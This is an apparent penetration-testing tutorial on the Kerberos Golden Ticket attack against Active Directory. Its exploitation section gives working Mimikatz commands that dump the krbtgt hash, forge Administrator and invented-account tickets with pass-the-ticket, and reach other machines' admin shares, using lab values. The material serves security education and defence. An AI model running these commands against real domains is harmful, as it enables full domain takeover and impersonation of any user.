[Active Directory] Kerberos Golden ticket

With Kerberos, users never directly authenticate themselves to the various services they need to use, such as file servers. Instead, the Kerberos Key Distribution Center (KDC) functions as a trusted third-party authentication service. Every domain controller in an Active Directory domain runs a KDC service.

The KDC issues a ticket granting ticket (TGT), which includes a unique session key and a timestamp that specifies how long that session is valid (normally 8 or 10 hours). When the user needs access to resources, they don’t have to re-authenticate; their client machine simply sends the TGT along to prove that the user has already been recently authenticated.

Kerberos Golden Ticket hacking is a sophisticated attack that exploits weaknesses in the Kerberos authentication protocol, which is widely used for securing authentication in various network environments. In this attack, adversaries create a forged Kerberos Ticket Granting Ticket (TGT), referred to as a “Golden Ticket,” allowing them to gain unauthorized access to a network and impersonate any user without the need for valid credentials.

Requirements

Privileged Access:

The attacker needs elevated privileges to access the KDC database or extract password hashes, often obtained through a successful compromise of an administrative account.

In a Golden Ticket attack, hackers bypass the KDC and create TGTs themselves to get access to various resources. To forge a TGT, hackers need four key pieces of information:

The FQDN (Fully Qualified Domain Name) of the domain
The SID (Security Identifier) of the domain
The username of the account they want to impersonate
The KRBTGT password hash

Exploitation (Mimikatz)

1. After compromising the domain controller, use mimikatz to dump the krbtgt hash

lsadump::lsa /inject /name:krbtgt
privilege::debug

2. Grab the following (NTLM, SID domain)

NTLM : 43ee24a65422dd3e241dda802463c4de
Domain : LAB / S-1-5-21-2564449761-2250179813-2142005236
aes256_hmac (4096) : 20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea

3.. Generate the Kerberos ticket, assigned to a real user, use the admin account RID (default 500), and set ptt

kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500 /ptt
kerberos::golden /User:Administrator /domain:lab.local /sid:S-1-5-21-2564449761-2250179813-2142005236 /krbtgt:43ee24a65422dd3e241dda802463c4de /id:500,513,2668 /ptt /aes256:20e985711889035d33aff3f05781370c1d095cf7abf0dcfe9bb64f70c3dc0bea
kerberos::golden /domain:lab.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:43ee24a65422dd3e241dda802463c4de /user:newAdmin /id:500 /ptt

/domain — The FQDN of the domain
/sid — The SID of the domain
/aes256 — The AES-256 password hash of the KRBTGT user (alternatively, /ntlm or /rc4 can be used for NTLM hashes, and /aes128 for AES-128)
/user — The username to be impersonated
/groups — The list of groups (by RID) to include in the ticket, with the first being the user’s primary group
/ptt — Indicates that the forged ticket should be injected into the current session instead of being written to a file

4. Once, the ticket has been generated you can run commands to remote machines, with this command you will open a new CMD

misc::cmd

5. List the available tickets

klist

5. Test connecting to another machine

dir \\client-2\c$

Because the TGT is signed and encrypted with the real KRBTGT password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.

As the adversary discovers more about the environment, they can continue to mint tickets for accounts with specific group membership to access any application, database or other resource that uses Active Directory for authentication and authorization.